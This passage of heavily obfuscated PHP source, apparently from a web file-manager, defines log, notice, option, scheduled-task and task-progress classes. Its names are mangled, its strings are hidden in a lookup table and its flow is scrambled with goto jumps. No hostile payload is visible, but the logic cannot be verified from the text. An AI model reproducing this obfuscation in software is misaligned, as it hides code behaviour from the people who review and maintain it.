=> $Dڍɋ[1683], $Dڍɋ[1689] => $Dڍɋ[1690], $Dڍɋ[1685] => $Dڍɋ[1714], $Dڍɋ[1687] => $Dڍɋ[1688]))), $Dڍɋ[1715] => array($Dڍɋ[1589] => array($Dڍɋ[1716] => $Dڍɋ[1717], $Dڍɋ[1718] => $Dڍɋ[1719])), $Dڍɋ[1720] => array($Dڍɋ[1589] => array())); } } goto fɱ; f٣: register_shutdown_function($_SERVER[صȢˏ][36]); set_error_handler($_SERVER[صȢˏ][49], $A탶к); if (function_exists($_SERVER[صȢˏ][50])) { set_exception_handler($_SERVER[صȢˏ][51]); } goto b; Dҷ: class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\163\x74\x65\x6d\137\x6c\157\147"; protected $dataAuto = array(array("\x63\x72\x65\141\x74\145\x54\151\x6d\145", "\x74\x69\155\145", "\x69\x6e\x73\x65\x72\x74", "\146\165\x6e\x63\x74\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->allTypeList(); } public function allTypeList() { $b =& $_SERVER[ȦÆ]; return array($b[2346] => LNG($b[2347]), $b[2348] => LNG($b[2349]), $b[2014] => LNG($b[2350]), $b[2351] => LNG($b[2352]), $b[2353] => LNG($b[2354]), $b[2355] => LNG($b[2356]), $b[2357] => LNG($b[2358]), $b[2359] => LNG($b[2360]), $b[2045] => LNG($b[2361]), $b[2046] => LNG($b[2362]), $b[2363] => LNG($b[2364]), $b[2365] => LNG($b[2366]), $b[2367] => LNG($b[2368]), $b[2369] => LNG($b[2370]), $b[2043] => LNG($b[2371]), $b[2049] => LNG($b[2372]), $b[2373] => LNG($b[2374]), $b[2375] => LNG($b[2376]), $b[2377] => LNG($b[2378]), $b[2379] => LNG($b[2380]), $b[2052] => LNG($b[2381]), $b[2053] => LNG($b[2382]), $b[2383] => LNG($b[2384]), $b[2385] => LNG($b[2386]), $b[2387] => LNG($b[2388]), $b[2389] => LNG($b[2390]), $b[2391] => LNG($b[2392]), $b[2047] => LNG($b[2393]), $b[2394] => LNG($b[2395]), $b[2396] => LNG($b[2397]), $b[2398] => LNG($b[2398]), $b[2399] => LNG($b[2018]), $b[2400] => LNG($b[2401]), $b[2402] => LNG($b[2403]), $b[2404] => LNG($b[2405]), $b[2406] => LNG($b[2407]), $b[2408] => LNG($b[2409]), $b[2410] => LNG($b[2410]), $b[2411] => LNG($b[2412]), $b[2413] => LNG($b[2414]), $b[2415] => LNG($b[2416]), $b[2417] => LNG($b[2418]), $b[2419] => LNG($b[2420]), $b[2421] => LNG($b[2422])); } private function typeFile() { $Bي =& $_SERVER[ȦÆ]; $Bͯ = array($Bي[2049] => array($Bي[2050]), $Bي[2367] => array($Bي[2423]), $Bي[2369] => array($Bي[2424]), $Bي[2043] => array($Bي[2044]), $Bي[2375] => array(), $Bي[2377] => array(), $Bي[2379] => array(), $Bي[2052] => array($Bي[2054]), $Bي[2053] => array($Bي[2054]), $Bي[2383] => array($Bي[2425]), $Bي[2385] => array($Bي[2425]), $Bي[2387] => array($Bي[2426]), $Bي[2373] => array($Bي[2427]), $Bي[2389] => array($Bي[2428]), $Bي[2391] => array($Bي[2429]), $Bي[2047] => array($Bي[2048])); return $Bͯ; } private function typeAll() { goto E; fң: return $a醪; goto Cê; e༙: foreach ($C as $C => $d㮛) { $a醪[$d㮛[0]] = $a醪[$C]; } $a醪[$DԿ[2054]] = LNG($DԿ[2430]); $a醪[$DԿ[2425]] = LNG($DԿ[2431]); goto fң; E: $DԿ =& $_SERVER[ȦÆ]; $a醪 = $this->typeList; $C = array_filter($this->typeFile()); goto e༙; Cê: } public function addLog($A뙑앶, $Aȿ = array()) { goto F酎; Dʆ: parent::add($Aȿ); goto CȐ; F酎: $Fψ =& $_SERVER[ȦÆ]; if (!isset($this->typeList[$A뙑앶])) { return; } $Aꔄ = USER_ID ? USER_ID : (isset($Aȿ[$Fψ[1412]]) ? $Aȿ[$Fψ[1412]] : 0); goto A; A: $BФ = get_client_ip(); if (!$Aȿ || strlen(json_encode($Aȿ)) >= 1024) { $Aȿ = array($Fψ[2432] => $BФ); } else { if (is_array($Aȿ)) { $Aȿ[$Fψ[2432]] = $BФ; } else { $Aȿ = array($Fψ[1027] => $Aȿ, $Fψ[2432] => $BФ); } } $Aȿ = array($Fψ[1402] => Session::sign(), $Fψ[1403] => $Aꔄ, $Fψ[39] => $A뙑앶, $Fψ[1405] => json_encode($Aȿ)); goto Dʆ; CȐ: } public function remove($b) { $this->where(array($_SERVER[ȦÆ][390] => $b))->delete(); } private function _makeOrder($cɐܔ = '') { goto c݂Ӄ; c݂Ӄ: $c؂詬 =& $_SERVER[ȦÆ]; $cݣ = $c؂詬[193]; $A = array($c؂詬[407] => $c؂詬[408], $c؂詬[409] => $c؂詬[410]); goto B؎؃; F: return $this->order($cɐܔ); goto aÍݒ; B؎؃: $cέȄ = Input::get($c؂詬[413], $c؂詬[17], $c؂詬[2212], array($c؂詬[2149], $c؂詬[409])); $cέȄ = $A[$cέȄ]; $cɐܔ = $cɐܔ . "{$cݣ}\40{$cέȄ}"; goto F; aÍݒ: } public function get($E阅 = '') { goto C఩; C఩: $aζ =& $_SERVER[ȦÆ]; if (!$E阅) { show_json(array()); } $b = array(); goto Bڝ⏧; aĞԾ: if (!empty($E阅[$aζ[2432]])) { $b[$aζ[410]] = array($aζ[752], "\45{$E阅[$aζ[2432]]}\x25"); } $AԪ = $this->_makeOrder()->where($b)->selectPage(); if (empty($AԪ[$aζ[359]])) { show_json(array(), !0, $AԪ[$aζ[356]]); } goto d֐; Bڝ⏧: if ($E阅[$aζ[1412]]) { $b[$aζ[1412]] = $E阅[$aζ[1412]]; } if (isset($E阅[$aζ[703]])) { $bż = $E阅[$aζ[703]]; $CƄʓ = isset($E阅[$aζ[704]]) ? $E阅[$aζ[704]] : time(); $b[$aζ[193]] = array($aζ[326], array($bż, $CƄʓ)); } if ($E阅[$aζ[39]]) { $fۆ = explode($aζ[57], $E阅[$aζ[39]]); $E = $this->typeFile(); $B㐡ݨ = array(); foreach ($fۆ as $B؅) { $B㐡ݨ[] = $B؅; if (isset($E[$B؅])) { $B㐡ݨ = array_merge($B㐡ݨ, $E[$B؅]); } } $B㐡ݨ = array_unique($B㐡ݨ); if ($B㐡ݨ) { $b[$aζ[39]] = array($aζ[17], $B㐡ݨ); } } goto aĞԾ; d֐: $AԪ[$aζ[359]] = $this->logList($AԪ[$aζ[359]]); return $AԪ; goto Aֆ‡; Aֆ‡: } private function ipAddress(&$A㪫) { $ȅ =& $_SERVER[ȦÆ]; if (!empty($A㪫[$ȅ[2432]])) { $e㣓 = IpLocation::get($A㪫[$ȅ[2432]]); if ($e㣓 == $ȅ[2433]) { $e㣓 = $ȅ[2434]; } } else { $e㣓 = LNG($ȅ[2435]); } $A㪫[$ȅ[2436]] = $e㣓; } private function descZipDownload($a͓Σ, &$bƷ) { $dѝ٠ =& $_SERVER[ȦÆ]; if (!isset($a͓Σ[$dѝ٠[2437]])) { return; } $Bჲ = json_decode($a͓Σ[$dѝ٠[2437]], !0); foreach ($Bჲ as $eĸ߅) { if (!IO::init($eĸ߅[$dѝ٠[85]])) { continue; } if (!($Aې = IO::infoFull($eĸ߅[$dѝ٠[85]]))) { continue; } $a͓Σ[$dѝ٠[85]] = $eĸ߅[$dѝ٠[85]]; $bƷ[] = $a͓Σ[$dѝ٠[374]] = $Aې[$dѝ٠[374]]; $bƷ[] = $a͓Σ[$dѝ٠[2253]] = $Aې[$dѝ٠[466]]; break; } return $a͓Σ; } private function getSourceList(&$e҂) { $Bߗ =& $_SERVER[ȦÆ]; $f˩ = array(); foreach ($e҂ as $Cˍܢ => $eɌȟ) { goto dȘ; dЩ: if ($e󴐟[$Bߗ[39]] == $Bߗ[2261]) { $f˩[] = $e󴐟[$Bߗ[410]][$Bߗ[374]]; } goto Eӿ; BҜى: $f˩[] = $e󴐟[$Bߗ[374]]; $f˩[] = $e󴐟[$Bߗ[2253]]; if ($e󴐟[$Bߗ[39]] == $Bߗ[497]) { $f˩[] = $e󴐟[$Bߗ[410]][$Bߗ[999]]; $f˩[] = $e󴐟[$Bߗ[410]][$Bߗ[1000]]; } goto dЩ; dȘ: $e󴐟 = json_decode($eɌȟ[$Bߗ[410]], !0); if ($eɌȟ[$Bߗ[39]] == $Bߗ[2046]) { $e󴐟 = $this->descZipDownload($e󴐟, $f˩); $e҂[$Cˍܢ][$Bߗ[410]] = json_encode($e󴐟); continue; } if (strpos($eɌȟ[$Bߗ[39]], $Bߗ[2254]) !== 0) { goto a㵻; dͺ: $f˩[] = $e󴐟[$Bߗ[374]] = $CžϿ[$Bߗ[374]]; $f˩[] = $e󴐟[$Bߗ[2253]] = $CžϿ[$Bߗ[466]]; $e҂[$Cˍܢ][$Bߗ[410]] = json_encode($e󴐟); goto C©; a㵻: if (!isset($e󴐟[$Bߗ[85]]) || strpos($eɌȟ[$Bߗ[39]], $Bߗ[2438]) !== 0) { continue; } if (!IO::init($e󴐟[$Bߗ[85]])) { continue; } if (!($CžϿ = IO::infoFull($e󴐟[$Bߗ[85]]))) { continue; } goto dͺ; C©: continue; goto f͐; f͐: } goto BҜى; Eӿ: } if (!$f˩) { return array(); } return Model($Bߗ[753])->sourceListInfo($f˩, !0); } private function logList($eĜ) { goto DӴُ; DӴُ: $eҲ =& $_SERVER[ȦÆ]; $Eè = array_to_keyvalue($eĜ, $eҲ[43], $eҲ[1412]); $a£ = Model($eҲ[482])->userListInfo(array_unique($Eè)); goto F֜ݐ; Cʲ: $F㞣 = array(); foreach ($eĜ as $eס => $B͏) { goto A; Cܖ: $B͏[$eҲ[38]] = isset($fݬ[$eҲ[38]]) ? $fݬ[$eҲ[38]] : LNG($eҲ[2435]); $B͏[$eҲ[2301]] = isset($fݬ[$eҲ[2301]]) ? $fݬ[$eҲ[2301]] : $eҲ[43]; $B͏[$eҲ[1320]] = isset($Bᝒצ[$b܍Ÿ]) ? $Bᝒצ[$b܍Ÿ] : $aܲ; goto D򝎥; D򝎥: $B͏[$eҲ[2211]] = $fݬ; $c뇏 = json_decode($B͏[$eҲ[410]], !0); $B͏[$eҲ[2432]] = isset($c뇏[$eҲ[2432]]) ? $c뇏[$eҲ[2432]] : $eҲ[43]; goto e󛊎; A: $b܍Ÿ = $B͏[$eҲ[39]]; $fݬ = isset($a£[$B͏[$eҲ[1412]]]) ? $a£[$B͏[$eҲ[1412]]] : !1; $aܲ = strpos($b܍Ÿ, $eҲ[2439]) === 0 ? LNG($eҲ[2440]) : LNG($eҲ[2435]); goto Cܖ; Bӆ: unset($B͏[$eҲ[2441]]); $eܠ[] = $B͏; goto A; e󛊎: $this->ipAddress($B͏); if (strpos($b܍Ÿ, $eҲ[2254]) === 0 || isset($c뇏[$eҲ[2253]])) { goto C; C: $c뇏[$eҲ[396]] = $Aءω[$c뇏[$eҲ[374]]]; $c뇏[$eҲ[2266]] = $Aءω[$c뇏[$eҲ[2253]]]; if ($c뇏[$eҲ[39]] == $eҲ[497]) { $c뇏[$eҲ[410]][$eҲ[999]] = $Aءω[$c뇏[$eҲ[410]][$eҲ[999]]]; $c뇏[$eҲ[410]][$eҲ[1000]] = $Aءω[$c뇏[$eҲ[410]][$eҲ[1000]]]; } goto e; e: if ($c뇏[$eҲ[39]] == $eҲ[2261]) { $c뇏[$eҲ[410]][$eҲ[374]] = $Aءω[$c뇏[$eҲ[410]][$eҲ[374]]]; } if ($c뇏[$eҲ[39]] == $eҲ[2041]) { $c뇏[$eҲ[2266]] = $c뇏[$eҲ[396]]; $c뇏[$eҲ[2253]] = $c뇏[$eҲ[2266]][$eҲ[374]]; $c뇏[$eҲ[396]] = !1; $c뇏[$eҲ[374]] = $eҲ[43]; } if ($c뇏[$eҲ[396]] && $c뇏[$eҲ[396]][$eҲ[376]] == $eҲ[1073]) { $F㞣[] = $B͏[$eҲ[372]]; unset($eĜ[$eס]); continue; } goto f׽ψ; f׽ψ: if ($c뇏[$eҲ[2266]] && $c뇏[$eҲ[2266]][$eҲ[376]] == $eҲ[1073]) { $F㞣[] = $B͏[$eҲ[372]]; unset($eĜ[$eס]); continue; } goto B܇; B܇: } $B͏[$eҲ[410]] = $c뇏; goto Bӆ; A: } $this->clearSystemPathLog($F㞣); goto FՐ; F֜ݐ: $Aءω = $this->getSourceList($eĜ); $Bᝒצ = $this->typeAll(); $eܠ = array(); goto Cʲ; FՐ: return $eܠ; goto a哦; a哦: } private function clearSystemPathLog($A٨қ) { $bҥ =& $_SERVER[ȦÆ]; if (count($A٨қ) == 0) { return; } $B̳ = array($bҥ[372] => array($bҥ[17], array_unique($A٨қ))); $this->where($B̳)->delete(); } public function deviceList($C, $EƖ = 0) { $eæ =& $_SERVER[ȦÆ]; $e̒ = array($eæ[1412] => $C, $eæ[193] => array($eæ[923], $EƖ), $eæ[39] => $eæ[2014]); $FЖ = array(); $D˴ = $this->field($eæ[2442])->where($e̒)->order($eæ[2264])->limit(50)->select(); foreach ($D˴ as $D => $CƩ) { goto d; A: unset($f[$eæ[2432]]); $d = $this->deviceType($f[$eæ[2255]]); if (isset($FЖ[$d])) { continue; } goto f؊; d: if ($D > 0 && abs($CƩ[$eæ[193]] - $D˴[$D - 1][$eæ[193]]) < 5) { continue; } $f = json_decode($CƩ[$eæ[410]], !0); $CƩ[$eæ[2432]] = isset($f[$eæ[2432]]) ? $f[$eæ[2432]] : $eæ[43]; goto A; f؊: $this->ipAddress($CƩ); $CƩ[$eæ[410]] = $f; $FЖ[$d] = $CƩ; goto Bʭ; Bʭ: } return array_values($FЖ); } public function deviceType($eՠº) { return $eՠº; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\155\56\x6e\157\164\x69\143\145\114\x69\x73\164"; public $field = array("\x6e\x61\155\x65", "\143\157\156\164\145\156\x74", "\141\x75\164\150", "\155\157\x64\x65", "\x74\151\155\x65", "\x74\171\160\145", "\154\145\x76\145\154", "\145\156\141\x62\154\145", "\163\x6f\162\164"); public function listData($bӣ = false, $Dݿ͍ = "\x73\x6f\162\x74", $c鬐 = false) { return parent::listData($bӣ, $Dݿ͍, $c鬐); } public function add($bۑ) { $cü =& $_SERVER[ȦÆ]; $ađд = time(); if ($bۑ[$cü[22]] == $cü[2443]) { $ađд = strtotime($bۑ[$cü[196]]); } $bۑ[$cü[196]] = $ađд; return parent::insert($bۑ); } public function update($f̉̿, $Fʍڃ) { goto aߖ; fƪ: $F˜ = time(); if ($Fʍڃ[$d⤨[22]] == $d⤨[2443]) { $F˜ = strtotime($Fʍڃ[$d⤨[196]]); } $Fʍڃ[$d⤨[196]] = $F˜; goto eÌ; eÌ: return parent::update($f̉̿, $Fʍڃ); goto f̽; aߖ: $d⤨ =& $_SERVER[ȦÆ]; $e޽ = $this->listData($f̉̿); if (!$e޽) { return !1; } goto fƪ; f̽: } public function remove($Bʿ) { $b = $this->listData($Bʿ); if (!$b || $b[$_SERVER[ȦÆ][1073]]) { return !1; } return parent::remove($Bʿ); } public function sort($f̙ߍ, $C䂙) { return parent::update($f̙ߍ, $C䂙); } public function enable($F, $DǸ) { return parent::update($F, array($_SERVER[ȦÆ][2444] => $DǸ)); } private function initUserOption() { $å =& $_SERVER[ȦÆ]; $this->optionType = $å[2445]; $this->modelType = $å[2446]; $this->field = array($å[2447], $å[38], $å[196], $å[39], $å[2448], $å[690], $å[189]); } public function userNoticeGet($Bؗ = false) { $this->initUserOption(); return parent::listData($Bؗ, $_SERVER[ȦÆ][372], !0); } public function userNoticeAdd($D˔ī) { $f =& $_SERVER[ȦÆ]; $this->initUserOption(); $cġƏ˄ = $this->findByKey($f[2447], $D˔ī[$f[372]]); if ($cġƏ˄) { return !0; } $DȄ = array($f[2447] => $D˔ī[$f[372]], $f[38] => $D˔ī[$f[38]], $f[196] => $D˔ī[$f[196]], $f[39] => isset($D˔ī[$f[39]]) ? $D˔ī[$f[39]] : 1, $f[2448] => isset($D˔ī[$f[2448]]) ? $D˔ī[$f[2448]] : 0, $f[690] => 0, $f[189] => 0); return parent::insert($DȄ); } public function userNoticeEdit($f, $F״Ĥ) { $this->initUserOption(); return parent::update($f, $F״Ĥ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\163\164\x65\155\x5f\157\160\x74\x69\157\156"; protected $jsonField = array("\x6d\x65\156\165", "\162\x6f\x6c\145", "\162\x6f\x6c\x65\x47\162\x6f\165\160", "\x72\145\x67\x69\x73\164", "\145\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($F熋) { return "\x53\171\163\164\145\x6d\117\x70\164\151\x6f\x6e\137{$F熋}"; } protected function optionDefault($EЖѥ = '') { $c½ =& $_SERVER[ȦÆ]; if ($EЖѥ == $c½[43]) { return $GLOBALS[$c½[16]][$c½[2449]]; } } } goto d; Dº: class AutoTask { public static function start() { goto FՌ; FՌ: $C붦 =& $_SERVER[ȦÆ]; if (self::valueGet($C붦[690]) != $C붦[93]) { return; } if (self::valueGet($C붦[1376]) == $C붦[93]) { $e = self::valueGet($C붦[1377]); if (time() - $e > 3600 * 2) { self::restart(); } return; } goto D; aŶ: while (!0) { self::cacheClear(); if (self::valueGet($C붦[690]) != $C붦[93]) { self::valueSet($C붦[1376], $C붦[473]); self::log($C붦[1380]); die; } self::valueSet($C붦[1376], $C붦[93]); self::valueSet($C붦[1377], time()); self::taskRunAll(); sleep(self::valueGet($C붦[1381])); } goto aʰ; D: http_close(); self::valueSet($C붦[1376], $C붦[93]); Hook::bind($C붦[1378], $C붦[1379]); goto aŶ; aʰ: } public static function restart() { $Aވ =& $_SERVER[ȦÆ]; http_close(); self::valueSet($Aވ[690], $Aވ[473]); sleep(self::valueGet($Aވ[1381]) + 5); self::valueSet($Aވ[1376], $Aވ[473]); self::valueSet($Aވ[690], $Aވ[93]); } public static function shutdownEvent() { $Aٗ =& $_SERVER[ȦÆ]; self::valueSet($Aٗ[1376], $Aٗ[473]); self::log($Aٗ[1382]); } public static function config($d຺, $eە) { $cш =& $_SERVER[ȦÆ]; $Eҕ = 20; $eە = intval($eە) <= $Eҕ ? $Eҕ : intval($eە); self::valueSet($cш[690], $d຺); self::valueSet($cш[1381], $eە); } private static function taskRunAll() { $f̌ =& $_SERVER[ȦÆ]; $fҎ = Model($f̌[1383])->listData(); $F = count($fҎ); for ($AԾ = 0; $AԾ < $F; $AԾ++) { $bޔ = $fҎ[$AԾ]; if ($bޔ[$f̌[1384]] != $f̌[93]) { continue; } if (!self::taskTimeCheck($bޔ)) { continue; } self::taskRun($bޔ); } Hook::trigger($f̌[1385]); } private static function taskTimeCheck($b) { goto D; a: $AӋύ = strtotime($bÈ[1386] . $cչ[$bÈ[1387]] . $bÈ[1388]) - strtotime($bÈ[1389]); $aӎ = time() - strtotime(date($bÈ[1390]) . $bÈ[1391]); $Cפ = $aӎ >= $AӋύ && $aӎ <= $AӋύ + 3600; goto e֕; e֕: switch ($cչ[$bÈ[39]]) { case $bÈ[1392]: if (time() - $d㘦 < 3600 * 24 * 30) { return !1; } if ($cչ[$bÈ[1392]] == date($bÈ[1393]) && $Cפ) { return !0; } break; case $bÈ[1394]: if (time() - $d㘦 < 3600 * 24 * 7) { return !1; } $CIJ = date($bÈ[1395]) == 0 ? 7 : date($bÈ[1395]); if ($cչ[$bÈ[1394]] == $CIJ && $Cפ) { return !0; } break; case $bÈ[1387]: if (time() - $d㘦 < 3600 * 24) { return !1; } if ($Cפ) { return !0; } break; case $bÈ[1396]: if (time() - $d㘦 >= floatval($cչ[$bÈ[1396]]) * 60) { return !0; } break; default: break; } return !1; goto cдϡ; D: $bÈ =& $_SERVER[ȦÆ]; $cչ = json_decode($b[$bÈ[196]], !0); $d㘦 = intval($b[$bÈ[1377]]); goto a; cдϡ: } public static function taskRun($b) { goto F鴒; F鴒: $a =& $_SERVER[ȦÆ]; self::log($a[1397] . $b[$a[372]] . $a[1398] . $b[$a[38]] . $a[1399] . $b[$a[1400]]); Model($a[1383])->run($b[$a[372]]); goto D; D: $cǤ = timeFloat(); $c煝Ի = $a[43]; switch ($b[$a[39]]) { case $a[300]: $EÊ = url_request($b[$a[1400]], $a[222], !1, !1, !1, !1, 5); $c煝Ի = strlen($EÊ); break; case $a[221]: $c煝Ի = Hook::apply($b[$a[1400]]); default: break; } goto E; E: Model($a[1401])->add(array($a[1402] => $a[43], $a[1403] => $a[473], $a[39] => $a[1404] . $b[$a[372]], $a[1405] => json_encode(array($a[38] => $b[$a[38]], $a[1406] => timeFloat() - $cǤ, $a[286] => $c煝Ի)))); self::log($a[1407] . $b[$a[372]] . $a[1408] . $c煝Ի); return !0; goto Eڦ; Eڦ: } private static function valueGet($EƤ) { $Eξ =& $_SERVER[ȦÆ]; $Cȉ = $Eξ[1409]; $cݠ = Model($Eξ[1410])->get($EƤ, $Cȉ); if (is_null($cݠ)) { Model($Eξ[1410])->set($Eξ[1381], 10, $Cȉ); Model($Eξ[1410])->set($Eξ[690], $Eξ[93], $Cȉ); Model($Eξ[1410])->set($Eξ[1376], $Eξ[473], $Cȉ); $cݠ = Model($Eξ[1410])->get($EƤ, $Cȉ); } return $cݠ; } private static function valueSet($c犙, $b) { $E =& $_SERVER[ȦÆ]; return Model($E[1410])->set($c犙, $b, $E[1409]); } protected static function log($d쥤) { write_log($d쥤, $_SERVER[ȦÆ][1411]); } private static function cacheClear() { $Dۇّ =& $_SERVER[ȦÆ]; $f = Model($Dۇّ[1410])->cacheKey($Dۇّ[1409]); Cache::clearMemory($f); } } class Task { const STATYS_STOP = "\163\x74\x6f\160"; const STATYS_RUNNING = "\162\x75\x6e\156\x69\x6e\147"; const STATYS_KILL = "\x6b\151\154\x6c"; public $task; public function __destruct() { $this->end(); } public function __construct($f, $fᄌ = '', $Aǵ = 0, $ė٫ = '') { goto e벒; e벒: $Fփ =& $_SERVER[ȦÆ]; if (self::get($f)) { return; } $this->task = array($Fփ[372] => $f, $Fփ[1412] => USER_ID, $Fփ[1320] => $ė٫, $Fփ[39] => $fᄌ, $Fփ[973] => $Fփ[43], $Fփ[971] => $Aǵ, $Fփ[983] => 0, $Fփ[1413] => 0, $Fփ[1414] => 0, $Fփ[1415] => timeFloat(), $Fփ[1416] => 0, $Fփ[1417] => 0, $Fփ[1418] => 0, $Fփ[1419] => 0, $Fփ[690] => $Fփ[1376]); goto B腼; B腼: Hook::bind($Fփ[1378], array($this, $Fփ[1420])); Hook::bind($Fփ[1421], array($this, $Fփ[1422])); $this->startAfter(); goto cԚɳɔ; cԚɳɔ: Hook::trigger($Fփ[1423], $this->task); $this->task[$Fփ[1417]] = timeFloat(); self::valueSet($this->task[$Fփ[372]], $this->task); goto a; a: } public function end() { goto f; fۂ: $Dۏ = timeFloat() - $this->task[$f[1415]]; self::log($f[1424] . $this->task[$f[372]] . $f[1425] . $Dۏ . $f[1426]); Hook::unbind($f[1378], array($this, $f[1420])); goto Fڪ; f: $f =& $_SERVER[ȦÆ]; if (!$this->task) { return; } if ($this->task[$f[1417]]) { self::valueSet($this->task[$f[372]], !1); } goto fۂ; Fڪ: Hook::unbind($f[1421], array($this, $f[1422])); $this->endAfter(); $this->task = !1; goto FҶу; FҶу: } public function update($b汵 = 0) { goto e; B: $aɩ[$fٹ[983]] += $b汵; $aɩ[$fٹ[1416]] = timeFloat(); if ($aɩ[$fٹ[971]]) { if ($aɩ[$fٹ[971]] < $aɩ[$fٹ[983]]) { $aɩ[$fٹ[971]] = $aɩ[$fٹ[983]]; } $e렽ӗ = timeFloat() - $aɩ[$fٹ[1415]] - $aɩ[$fٹ[1418]]; $aɩ[$fٹ[1413]] = $aɩ[$fٹ[983]] / $aɩ[$fٹ[971]]; $aɩ[$fٹ[1414]] = $aɩ[$fٹ[983]] / $e렽ӗ; if ($aɩ[$fٹ[1413]] > 0) { $aɩ[$fٹ[1419]] = $e렽ӗ * (1 - $aɩ[$fٹ[1413]]) / $aɩ[$fٹ[1413]]; } $aɩ[$fٹ[1419]] = $aɩ[$fٹ[1419]] <= 0 ? 0 : $aɩ[$fٹ[1419]]; } goto b練; e: $fٹ =& $_SERVER[ȦÆ]; $aɩ =& $this->task; if (!$aɩ) { return; } goto B; b練: $this->updateAfter(); $c = 0.2; if (timeFloat() - $aɩ[$fٹ[1417]] < $c) { return; } goto f; e÷֘: Hook::trigger($fٹ[1430], $aɩ); self::valueSet($aɩ[$fٹ[372]], $aɩ); goto eҙ; b: $aɩ[$fٹ[690]] = $E ? $E : $aɩ[$fٹ[690]]; $aɩ[$fٹ[1418]] = $D[$fٹ[1418]] ? $D[$fٹ[1418]] : 0; $aɩ[$fٹ[1417]] = timeFloat(); goto e÷֘; f: $D = self::get($aɩ[$fٹ[372]]); $E = $D[$fٹ[690]]; if ($E == self::STATYS_KILL) { $D䊔Ø = array($fٹ[1427] => LNG($fٹ[1428]), $fٹ[1025] => !1); Cache::set($fٹ[1429] . $this->task[$fٹ[372]], $D䊔Ø, 30); $this->end(); die; } else { if ($E == self::STATYS_STOP) { $C흒 = 2; $D[$fٹ[1418]] += $C흒; self::valueSet($aɩ[$fٹ[372]], $D); sleep($C흒); $this->update(); return; } } goto b; eҙ: } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($cߌ) { $a蘭د =& $_SERVER[ȦÆ]; Cache::set($a蘭د[1429] . $this->task[$a蘭د[372]], $cߌ, 60); return $cߌ; } public static function get($A) { return self::valueGet($A); } public static function listData() { $aёʒ = self::valueGet(); return array_sort_by($aёʒ, $_SERVER[ȦÆ][1415], !0); } public static function kill($B) { return self::changeStatus($B, self::STATYS_KILL); } public static function stop($c↫) { return self::changeStatus($c↫, self::STATYS_STOP); } public static function restart($B) { return self::changeStatus($B, self::STATYS_RUNNING); } public static function killAll() { $Dߎ =& $_SERVER[ȦÆ]; $b̺ = self::listData(); foreach ($b̺ as $Dˆ) { self::kill($Dˆ[$Dߎ[372]]); } sleep(2); foreach ($b̺ as $Dˆ) { self::valueSet($Dˆ[$Dߎ[372]], !1); } } private static function changeStatus($c, $e) { goto A̅; A̅: $c߯Ό =& $_SERVER[ȦÆ]; $ā = self::valueGet($c); if (!$ā) { return !1; } goto b; b: $ā[$c߯Ό[690]] = $e; self::valueSet($c, $ā); self::log($c߯Ό[1431] . $ā[$c߯Ό[372]] . $c߯Ό[1432] . $e); goto C; C: return !0; goto D; D: } public static function valueGet($Dǜ = false) { $A׾ =& $_SERVER[ȦÆ]; if ($Dǜ) { $c = Model($A׾[404])->where(array($A׾[99] => $Dǜ, $A׾[39] => $A׾[1433]))->find(); return $c ? json_decode($c[$A׾[364]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($c = false) { goto c璝; c璝: $b졪 =& $_SERVER[ȦÆ]; $f܄Ƀ = array($b졪[39] => $b졪[1433]); if ($c) { $f܄Ƀ[$b졪[1412]] = $c; } goto C՞; c: return $cӖȸ׏; goto Fޫ; C՞: $cӖȸ׏ = Model($b졪[404])->where($f܄Ƀ)->select(); $cӖȸ׏ = $cӖȸ׏ ? $cӖȸ׏ : array(); foreach ($cӖȸ׏ as $EŽ => $D) { $cӖȸ׏[$EŽ] = json_decode($D[$b졪[364]], !0); } goto c; Fޫ: } public static function valueSet($a򬳎, $bȉ) { goto bل涆; B볪: if (!$Eݼ) { ob_start(); var_dump($bȉ); $e = ob_get_clean(); self::log($Aȏߤ[1434] . json_encode_force($e)); } if (!$a򬳎 || !$bȉ[$Aȏߤ[372]]) { return !1; } $fݬ = array($Aȏߤ[39] => $Aȏߤ[1433], $Aȏߤ[1412] => USER_ID, $Aȏߤ[99] => $a򬳎, $Aȏߤ[364] => $Eݼ); goto E×; bل涆: $Aȏߤ =& $_SERVER[ȦÆ]; if (!$bȉ) { return Model($Aȏߤ[404])->where(array($Aȏߤ[99] => $a򬳎, $Aȏߤ[39] => $Aȏߤ[1433]))->delete(); } $Eݼ = json_encode($bȉ); goto B볪; E×: Model($Aȏߤ[404])->add($fݬ, array(), !0); goto D腠; D腠: } public static function log($cՔ) { write_log($cՔ, $_SERVER[ȦÆ][1435]); } } class TaskFileTransfer extends Task { protected function startAfter() { goto a; D鏍: Hook::bind($Cɠ[516], array($this, $Cɠ[1445])); Hook::bind($Cɠ[518], array($this, $Cɠ[1445])); Hook::bind($Cɠ[520], array($this, $Cɠ[1445])); goto D; eÉ: if (!$F[$Cɠ[1320]]) { $F[$Cɠ[1320]] = LNG($Cɠ[1461]); } goto Fխ; c᭪ѧ: Hook::bind($Cɠ[1449], array($this, $Cɠ[1450])); Hook::bind($Cɠ[1451], array($this, $Cɠ[1452])); Hook::bind($Cɠ[1453], array($this, $Cɠ[1454])); goto e; a: $Cɠ =& $_SERVER[ȦÆ]; $F =& $this->task; $this->sourceCopyFolder = !1; goto F; cӧ: Hook::bind($Cɠ[544], array($this, $Cɠ[1442])); Hook::bind($Cɠ[545], array($this, $Cɠ[1443])); Hook::bind($Cɠ[547], array($this, $Cɠ[1444])); goto Cܡʄ; A: $F[$Cɠ[973]] = $Cɠ[43]; $F[$Cɠ[1459]] = $Cɠ[43]; $F[$Cɠ[1460]] = 0; goto eÉ; Cܡʄ: Hook::bind($Cɠ[548], array($this, $Cɠ[1444])); Hook::bind($Cɠ[514], array($this, $Cɠ[1445])); Hook::bind($Cɠ[511], array($this, $Cɠ[1445])); goto D鏍; F: Hook::bind($Cɠ[1436], array($this, $Cɠ[1437])); Hook::bind($Cɠ[1438], array($this, $Cɠ[1439])); Hook::bind($Cɠ[1440], array($this, $Cɠ[1441])); goto cӧ; e: $F[$Cɠ[1455]] = LNG($Cɠ[1456]); $F[$Cɠ[1457]] = 0; $F[$Cɠ[1458]] = 0; goto A; D: Hook::bind($Cɠ[1446], array($this, $Cɠ[1447])); 